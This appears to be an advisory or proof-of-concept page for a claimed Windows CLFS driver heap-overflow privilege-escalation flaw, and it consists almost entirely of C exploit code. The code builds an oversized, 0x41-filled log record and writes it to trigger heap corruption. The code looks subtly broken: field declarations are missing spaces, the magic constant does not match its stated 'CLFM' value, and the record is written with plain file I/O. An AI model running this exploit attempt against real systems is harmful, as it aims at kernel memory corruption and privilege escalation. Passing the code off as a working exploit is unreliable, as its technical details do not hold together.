CVE-2026-20820: Windows CLFS驱动程序堆溢出本地权限提升漏洞

// CVE-2026-20820 PoC - Windows CLFS Heap Buffer Overflow // Author: Security Researcher // Note: This is a conceptual PoC for educational purposes only #include <windows.h> #include <stdio.h> #include <stdlib.h> // CLFS log file magic number #define CLFS_MGC_FILE_SIGNATURE 0x4C474D47 // 'CLFM' typedef struct _CLFS_LOG_BLOCK_HEADER { ULONG Magic; USHORT MajorVersion; USHORT MinorVersion; USHORT Usn; USHORT RecordType; ULONGSize; ULONG Reserved1; ULONG ValidDataLength; ULONG WriteOffset; ULONG ReadOffset; ULONGWrapOffset; ULONGLONGEndOfLog; } CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER; int main() { printf("[*] CVE-2026-20820 Windows CLFS Heap Overflow PoC\n"); printf("[*] Target: Windows Common Log File System Driver\n\n"); // Open or create a CLFS log file HANDLE hLog = CreateLogFile( L"test_log.blf", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL ); if (hLog == INVALID_HANDLE_VALUE) { printf("[-] Failed to create log file. Error: %d\n", GetLastError()); return 1; } printf("[+] Log file created successfully\n"); // Prepare malicious log record with overflow payload // The vulnerability occurs when CLFS doesn't properly validate // the record size before writing to heap buffer BYTE maliciousRecord[0x1000]; memset(maliciousRecord, 0x41, sizeof(maliciousRecord)); // Set up the record header PCLFS_LOG_BLOCK_HEADER pHeader = (PCLFS_LOG_BLOCK_HEADER)maliciousRecord; pHeader->Magic = CLFS_MGC_FILE_SIGNATURE; pHeader->MajorVersion = 2; pHeader->MinorVersion = 0; pHeader->RecordType = 1; pHeader->Size = 0xFFFFFFFF; // Malicious size causing overflow pHeader->ValidDataLength = 0x2000; // Larger than allocated buffer // Write malicious record to trigger overflow OVERLAPPED ol = {0}; BOOL result = WriteFile(hLog, maliciousRecord, sizeof(maliciousRecord), NULL, &ol); if (result) { printf("[+] Malicious record written\n"); printf("[*] Trigger overflow by reading back the record...\n"); // Read operation that triggers the vulnerable code path BYTE readBuffer[0x200]; DWORD bytesRead = 0; ReadFile(hLog, readBuffer, sizeof(readBuffer), &bytesRead, &ol); printf("[!] If vulnerable, heap corruption should occur\n"); } CloseHandle(hLog); return 0; }